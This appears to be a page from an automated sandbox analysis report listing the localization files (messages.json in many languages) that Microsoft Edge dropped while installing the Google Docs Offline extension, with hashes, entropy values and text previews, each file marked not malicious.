SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
